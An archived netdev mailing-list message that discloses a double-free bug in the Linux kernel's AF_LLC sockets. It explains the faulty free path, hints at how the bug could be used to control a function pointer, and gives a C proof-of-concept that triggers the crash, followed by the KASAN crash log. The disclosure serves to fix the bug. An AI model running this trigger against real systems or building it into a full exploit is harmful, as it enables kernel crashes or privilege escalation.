lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAHqykcScLvGkRNtzqFp4UacMeYMktAJ_RDDG1qhyhO9uUcr37Q@mail.gmail.com>
Date:   Mon, 26 Mar 2018 09:43:51 +0300
From:   Noam Rathaus <noamr@...ondsecurity.com>
To:     netdev@...r.kernel.org
Subject: Security Vulnerability in AF_LLC (Double Free)

Hi,

We would like to report a security vulnerability in AF_LLC.

The credit should be given as such:
"An independent security researcher has reported this vulnerability to
Beyond Security’s SecuriTeam Secure Disclosure program."

==
# AF_LLC DOUBLE FREE

## affected versions
The bug seems to be present in the Linux kernel from the latest
version to 2.6.39.4 and even earlier versions.

## summary
LLC sockets can only be created with CAP_NET_RAW capability.
Setsockopt() with SO_BINDTODEVICE is necessary to setup
sk->sk_bound_dev_if so that bind() won't fail as well as
llc_ui_sendmsg() when checking that llc->addr is initialized.

Then after connecting and sending a message, the code leads to
llc_build_and_send_pkt.

The error can be spotted in llc_conn_state_process():

```
...
out_kfree_skb:
kfree_skb(skb);
out_skb_put:
kfree_skb(skb);
return rc;
}
```

The end of the function see 2 consecutive free on the skb which causes
a UAF first followed by a double free as seen in the crash log:

```
void kfree_skb(struct sk_buff *skb)
{
if (!skb_unref(skb))
return;

trace_kfree_skb(skb, __builtin_return_address(0));
__kfree_skb(skb);
}
```


Exploiting the double free on the struct sk_buff itself is not easy
due to that fact that it belongs to its own slab. However, a sk_buff
has a kmalloc-ed buffer which is allocated and deallocated side by
side with it (cf. https://xairy.github.io/blog/2016/cve-2016-2384).
It's kind of similar to 2 consecutive double free.

We want to target the 2nd free to free any other object with function
pointers (in the general kmalloc) so that we can abuse the crafted
UAF. A good target could be to free a skb's buffer and control the
destructor_arg in skb_shared_info just like the writeup in the above
link.

## POC

```
#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>

struct sockaddr_llc {
short  sllc_family;
short  sllc_arphrd;
unsigned char   sllc_test;
unsigned char   sllc_xid;
unsigned char sllc_ua;
unsigned char   sllc_sap;
unsigned char   sllc_mac[6];
unsigned char   __pad[2];
};

void test()
{
int fd = socket(AF_LLC, SOCK_STREAM, 0);
char output[32] = "lo";
socklen_t len;
setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);
struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};
bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));
struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};
connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));

char msg[0x10] = "aaaa";
send(fd, msg, 0x10, 0);
}

int main()
{
test();
return 0;
}
```

## crash log

```
[   23.142123] BUG: KASAN: use-after-free in kfree_skb+0x298/0x2f0
[   23.143012] Read of size 4 at addr ffff8801093d1124 by task poc/207
[   23.143742]
[   23.143892] CPU: 0 PID: 207 Comm: poc Not tainted 4.15.0+ #5
[   23.144396] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.11.0-0-g63451fca13-prebuilt.qemu-project.org 04/01/2014
[   23.145452] Call Trace:
[   23.145694]  dump_stack+0xcc/0x16c
[   23.147098]  print_address_description+0x73/0x290
[   23.147534]  kasan_report+0x277/0x360
[   23.148204]  kfree_skb+0x298/0x2f0
[   23.149829]  llc_conn_state_process+0x12d/0x1260
[   23.150536]  llc_build_and_send_pkt+0x195/0x240
[   23.151135]  llc_ui_sendmsg+0x78b/0x1280
[   23.155716]  sock_sendmsg+0xc5/0x100
[   23.156413]  SYSC_sendto+0x33a/0x580
[   23.163517]  entry_SYSCALL_64_fastpath+0x24/0x87
[   23.164241] RIP: 0033:0x400cfd
[   23.164694] RSP: 002b:00007ffd3d1f4bd8 EFLAGS: 00000246
[   23.164698]
[   23.165766] Allocated by task 207:
[   23.166397]  kasan_kmalloc+0xa0/0xd0
[   23.167071]  kmem_cache_alloc_node+0x100/0x1c0
[   23.167829]  __alloc_skb+0xe2/0x700
[   23.168457]  alloc_skb_with_frags+0x10a/0x690
[   23.169174]  sock_alloc_send_pskb+0x735/0x920
[   23.170156]  llc_ui_sendmsg+0x427/0x1280
[   23.170960]  sock_sendmsg+0xc5/0x100
[   23.171547]  SYSC_sendto+0x33a/0x580
[   23.172280]  entry_SYSCALL_64_fastpath+0x24/0x87
[   23.173460]
[   23.173763] Freed by task 207:
[   23.174261]  kasan_slab_free+0x71/0xc0
[   23.174843]  kmem_cache_free+0x77/0x1e0
[   23.175410]  kfree_skbmem+0x1a1/0x1d0
[   23.175987]  kfree_skb+0x12f/0x2f0
[   23.176541]  llc_conn_state_process+0x120/0x1260
[   23.177406]  llc_build_and_send_pkt+0x195/0x240
[   23.178051]  llc_ui_sendmsg+0x78b/0x1280
[   23.178647]  sock_sendmsg+0xc5/0x100
[   23.179175]  SYSC_sendto+0x33a/0x580
[   23.179702]  entry_SYSCALL_64_fastpath+0x24/0x87
[   23.180368]
[   23.180603] The buggy address belongs to the object at ffff8801093d1040
[   23.180603]  which belongs to the cache skbuff_head_cache of size 232
[   23.182503] The buggy address is located 228 bytes inside of
[   23.182503]  232-byte region [ffff8801093d1040, ffff8801093d1128)
[   23.184255] The buggy address belongs to the page:
[   23.184976] page:ffffea000424f400 count:1 mapcount:0 mapping:
   (null) index:0x0 compound_mapcount: 0
[   23.186602] flags: 0x17ffffc0008100(slab|head)
[   23.187722] raw: 0017ffffc0008100 0000000000000000 0000000000000000
0000000180190019
[   23.188919] raw: dead000000000100 dead000000000200 ffff88010dee2540
0000000000000000
[   23.189891] page dumped because: kasan: bad access detected
[   23.190587]
[   23.190788] Memory state around the buggy address:
[   23.191394]  ffff8801093d1000: fc fc fc fc fc fc fc fc fb fb fb fb
fb fb fb fb
[   23.192300]  ffff8801093d1080: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[   23.193238] >ffff8801093d1100: fb fb fb fb fb fc fc fc fc fc fc fc
fc fc fc fc
[   23.194352]                                ^
[   23.195089]  ffff8801093d1180: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[   23.196254]  ffff8801093d1200: fb fb fb fb fb fb fb fb fb fb fb fb
fb fc fc fc
[   23.197271] ==================================================================
[   23.198327] Disabling lock debugging due to kernel taint
[   23.199108] ==================================================================
[   23.200025] BUG: KASAN: double-free or invalid-free in           (null)
[   23.200816]
[   23.201047] CPU: 0 PID: 207 Comm: poc Tainted: G    B            4.15.0+ #5
[   23.202212] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS rel-1.11.0-0-g63451fca13-prebuilt.qemu-project.org 04/01/2014
[   23.203921] Call Trace:
[   23.204323]  dump_stack+0xcc/0x16c
[   23.206271]  print_address_description+0x73/0x290
[   23.207700]  kasan_report_double_free+0x65/0xa0
[   23.208432]  kasan_slab_free+0xa3/0xc0
[   23.209650]  kmem_cache_free+0x77/0x1e0
[   23.210278]  kfree_skbmem+0x1a1/0x1d0
[   23.211509]  kfree_skb+0x12f/0x2f0
[   23.214089]  llc_conn_state_process+0x12d/0x1260
[   23.215088]  llc_build_and_send_pkt+0x195/0x240
[   23.215810]  llc_ui_sendmsg+0x78b/0x1280
[   23.220486]  sock_sendmsg+0xc5/0x100
[   23.221045]  SYSC_sendto+0x33a/0x580
[   23.227676]  entry_SYSCALL_64_fastpath+0x24/0x87
[   23.228398] RIP: 0033:0x400cfd
[   23.228892] RSP: 002b:00007ffd3d1f4bd8 EFLAGS: 00000246
[   23.228896]
[   23.229966] Allocated by task 207:
[   23.230538]  kasan_kmalloc+0xa0/0xd0
[   23.231112]  kmem_cache_alloc_node+0x100/0x1c0
[   23.231824]  __alloc_skb+0xe2/0x700
[   23.232395]  alloc_skb_with_frags+0x10a/0x690
[   23.233118]  sock_alloc_send_pskb+0x735/0x920
[   23.233838]  llc_ui_sendmsg+0x427/0x1280
[   23.234434]  sock_sendmsg+0xc5/0x100
[   23.234947]  SYSC_sendto+0x33a/0x580
[   23.235414]  entry_SYSCALL_64_fastpath+0x24/0x87
[   23.236088]
[   23.236348] Freed by task 207:
[   23.236774]  kasan_slab_free+0x71/0xc0
[   23.237242]  kmem_cache_free+0x77/0x1e0
[   23.237740]  kfree_skbmem+0x1a1/0x1d0
[   23.238202]  kfree_skb+0x12f/0x2f0
[   23.238698]  llc_conn_state_process+0x120/0x1260
[   23.239435]  llc_build_and_send_pkt+0x195/0x240
[   23.240129]  llc_ui_sendmsg+0x78b/0x1280
[   23.240617]  sock_sendmsg+0xc5/0x100
[   23.241086]  SYSC_sendto+0x33a/0x580
[   23.241555]  entry_SYSCALL_64_fastpath+0x24/0x87
[   23.242230]
[   23.242450] The buggy address belongs to the object at ffff8801093d1040
[   23.242450]  which belongs to the cache skbuff_head_cache of size 232
[   23.244066] The buggy address is located 0 bytes inside of
[   23.244066]  232-byte region [ffff8801093d1040, ffff8801093d1128)
[   23.245810] The buggy address belongs to the page:
[   23.246425] page:ffffea000424f400 count:1 mapcount:0 mapping:
   (null) index:0x0 compound_mapcount: 0
[   23.247905] flags: 0x17ffffc0008100(slab|head)
[   23.248553] raw: 0017ffffc0008100 0000000000000000 0000000000000000
0000000180190019
[   23.249762] raw: dead000000000100 dead000000000200 ffff88010dee2540
0000000000000000
[   23.250949] page dumped because: kasan: bad access detected
[   23.251809]
[   23.252037] Memory state around the buggy address:
[   23.252782]  ffff8801093d0f00: fc fc fc fc fc fc fc fc fc fc fc fc
fc fc fc fc
[   23.253731]  ffff8801093d0f80: fc fc fc fc fc fc fc fc fc fc fc fc
fc fc fc fc
[   23.254660] >ffff8801093d1000: fc fc fc fc fc fc fc fc fb fb fb fb
fb fb fb fb
[   23.255585]                                            ^
[   23.256273]  ffff8801093d1080: fb fb fb fb fb fb fb fb fb fb fb fb
fb fb fb fb
[   23.257274]  ffff8801093d1100: fb fb fb fb fb fc fc fc fc fc fc fc
fc fc fc fc
[   23.258614] ==================================================================
```
==

-- 

Thanks,
Noam Rathaus
Beyond Security

PGP Key ID: 7EF920D3C045D63F (Exp 2019-03)

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ